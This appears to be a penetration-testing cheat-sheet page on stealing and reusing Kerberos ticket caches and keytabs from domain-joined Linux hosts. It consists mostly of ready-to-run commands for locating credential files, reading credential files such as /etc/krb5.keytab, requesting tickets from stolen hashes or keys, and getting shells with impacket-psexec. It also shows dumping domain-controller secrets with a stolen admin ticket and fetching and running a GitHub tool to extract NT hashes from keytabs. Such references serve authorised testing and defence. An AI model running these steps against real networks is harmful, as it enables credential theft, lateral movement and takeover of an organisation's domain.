Skip to content
HackIndex.io

Kerberos Ticket Reuse from Linux

5 min read Created Mar 16, 2026 Last updated Jul 10, 2026

Domain-joined Linux hosts maintain Kerberos ticket caches that can be stolen and reused to authenticate to Active Directory services (SMB shares, MSSQL, HTTP services, and other Kerberos-integrated resources) without knowing any password. Keytab files go further: they contain the encrypted key material needed to request fresh tickets at any time.

This page covers locating, validating, and using ccache files and keytabs found on a Linux host. Detecting whether a host is domain-joined and finding these files is covered in the post-exploitation section.

Confirming Kerberos Configuration

┌──(kali㉿kali)-[~]
└─$ cat /etc/krb5.conf

The default_realm field gives you the domain name. The kdc entries point to the domain controller. Both are needed for tool configuration.

┌──(kali㉿kali)-[~]
└─$ klist

If klist returns ticket information, the current session already has a valid TGT. If it returns No credentials cache found, you need to load one.

Finding ccache Files

Ticket caches are stored in files or memory-backed locations:

┌──(kali㉿kali)-[~]
└─$ find /tmp /run /var/tmp -name "krb5cc_*" 2>/dev/null
┌──(kali㉿kali)-[~]
└─$ find /tmp -name "ccache" 2>/dev/null
┌──(kali㉿kali)-[~]
└─$ ls /tmp/krb5cc_*

Also check the environment for a non-default cache location:

┌──(kali㉿kali)-[~]
└─$ echo $KRB5CCNAME
┌──(kali㉿kali)-[~]
└─$ grep -r KRB5CCNAME /proc/*/environ 2>/dev/null

Inspecting a ccache File

Before using a cache, check its contents and expiry:

┌──(kali㉿kali)-[~]
└─$ klist -c /tmp/krb5cc_1000 
Credentials cache: FILE:/tmp/krb5cc_1000
        Principal: svc_backup@CORP.LOCAL

Issued                Expires               Principal
Mar 14 08:23:01 2024  Mar 14 18:23:01 2024  krbtgt/CORP.LOCAL@CORP.LOCAL
Mar 14 08:23:05 2024  Mar 14 18:23:05 2024  cifs/fileserver.corp.local@CORP.LOCAL

A TGT (krbtgt/) that has not expired is usable. Service tickets (cifs/, http/, mssql/) are for specific services. An expired TGT cannot be renewed without the original credentials, but you can still use valid service tickets until they expire.

Requesting a TGT with Credentials

When you recover a plaintext password or NT hash but no ticket file exists on disk, request a TGT directly. impacket-getTGT authenticates to the KDC and writes a .ccache file you can use with any Kerberos-aware tool.

With a password:

┌──(kali㉿kali)-[~]
└─$ impacket-getTGT $DOMAIN/$USER:$PASSWORD -dc-ip $TARGET_IP 
[*] Saving ticket in $USER.ccache

With an NT hash (pass-the-hash to Kerberos):

┌──(kali㉿kali)-[~]
└─$ impacket-getTGT $DOMAIN/$USER -hashes :$NTHASH -dc-ip $TARGET_IP 
[*] Saving ticket in $USER.ccache
Explain command
-hashes LMHASH:NTHASH format. Leave LMHASH empty for NTLM-only.

With an AES key (from a DCSync or keytab extraction):

┌──(kali㉿kali)-[~]
└─$ impacket-getTGT $DOMAIN/$USER -aesKey $AES_KEY -dc-ip $TARGET_IP 
[*] Saving ticket in $USER.ccache

Set the output ccache as your active ticket and continue with lateral movement tools:

┌──(kali㉿kali)-[~]
└─$ export KRB5CCNAME=$USER.ccache
┌──(kali㉿kali)-[~]
└─$ klist

Using a ccache for Lateral Movement

Set KRB5CCNAME to point at the stolen cache, then use Impacket tools to authenticate:

┌──(kali㉿kali)-[~]
└─$ export KRB5CCNAME=/tmp/krb5cc_1000

List SMB shares on a domain host:

┌──(kali㉿kali)-[~]
└─$ impacket-smbclient -k -no-pass $DOMAIN/$USER@fileserver.$DOMAIN

Get a shell via SMB:

┌──(kali㉿kali)-[~]
└─$ impacket-psexec -k -no-pass $DOMAIN/$USER@TARGET.$DOMAIN

Connect to MSSQL:

┌──(kali㉿kali)-[~]
└─$ impacket-mssqlclient -k $DOMAIN/$USER@mssql.$DOMAIN

-k tells Impacket to use Kerberos authentication. -no-pass skips the password prompt and uses the ccache.

For SMB access with nxc:

┌──(kali㉿kali)-[~]
└─$ KRB5CCNAME=/tmp/krb5cc_1000 nxc smb $TARGET_IP -u $USER -k --no-pass

Finding and Using Keytab Files

Keytabs contain the account's long-term key and can generate fresh tickets at any time: they do not expire like ccache files.

┌──(kali㉿kali)-[~]
└─$ find / -name "*.keytab" -o -name "*.kt" 2>/dev/null
┌──(kali㉿kali)-[~]
└─$ find /etc /opt /var /home -name "krb5.keytab" 2>/dev/null

Common locations:

  • /etc/krb5.keytab: machine account keytab, readable by root

  • /etc/security/*.keytab: service account keytabs

  • /opt/*/conf/*.keytab: application service keytabs (Tomcat, Hadoop, Kafka)

Inspect a keytab:

┌──(kali㉿kali)-[~]
└─$ klist -k /etc/krb5.keytab 
Keytab name: FILE:/etc/krb5.keytab
KVNO Principal
   2 host/webserver.corp.local@CORP.LOCAL
   2 HTTP/webserver.corp.local@CORP.LOCAL

Request a TGT using the keytab:

┌──(kali㉿kali)-[~]
└─$ kinit -k -t /etc/krb5.keytab host/webserver.$DOMAIN
┌──(kali㉿kali)-[~]
└─$ klist

Once you have a TGT, use it with Impacket tools as shown above. The machine account keytab (host/) gives you a computer account TGT: useful for querying AD and accessing resources the computer account has rights to.

Pass the Ticket with Impacket

If you have a ccache file from a high-value account (a service account, domain admin, or DA), use it directly:

┌──(kali㉿kali)-[~]
└─$ export KRB5CCNAME=/tmp/stolen_admin.ccache
┌──(kali㉿kali)-[~]
└─$ impacket-secretsdump -k -no-pass $DOMAIN/Administrator@DC.$DOMAIN

This dumps credentials from the domain controller using the stolen ticket. For the full pass-the-ticket and lateral movement workflow, see Pass the Hash and Pass the Ticket and AD Remote Execution.

Converting Ticket Formats

Windows tools (Rubeus, Mimikatz) export tickets in .kirbi format. Linux tools (Impacket, nxc) expect .ccache. When you exfiltrate a ticket from a Windows host or need to inject a Linux-obtained ticket into a Windows session, convert between formats with impacket-ticketConverter.

Convert .kirbi to .ccache (Windows ticket for use on Linux):

┌──(kali㉿kali)-[~]
└─$ impacket-ticketConverter ticket.kirbi ticket.ccache 
[*] Converting kirbi to ccache
[+] Done

Convert .ccache to .kirbi (Linux ticket for use on Windows):

┌──(kali㉿kali)-[~]
└─$ impacket-ticketConverter ticket.ccache ticket.kirbi 
[*] Converting ccache to kirbi
[+] Done

After conversion, set KRB5CCNAME to the .ccache path for Linux tools. On Windows, import the .kirbi with Rubeus.exe ptt /ticket:ticket.kirbi or kerberos::ptt ticket.kirbi in Mimikatz.

Extracting the Hash from a Keytab

The key material inside a keytab is the NT hash equivalent for the account. Extract it with:

┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/sosdave/KeyTabExtract /tmp/keytabextract 2>/dev/null; python3 /tmp/keytabextract/keytabextract.py /etc/krb5.keytab

The extracted NT hash can be used for pass-the-hash attacks against Windows services.

References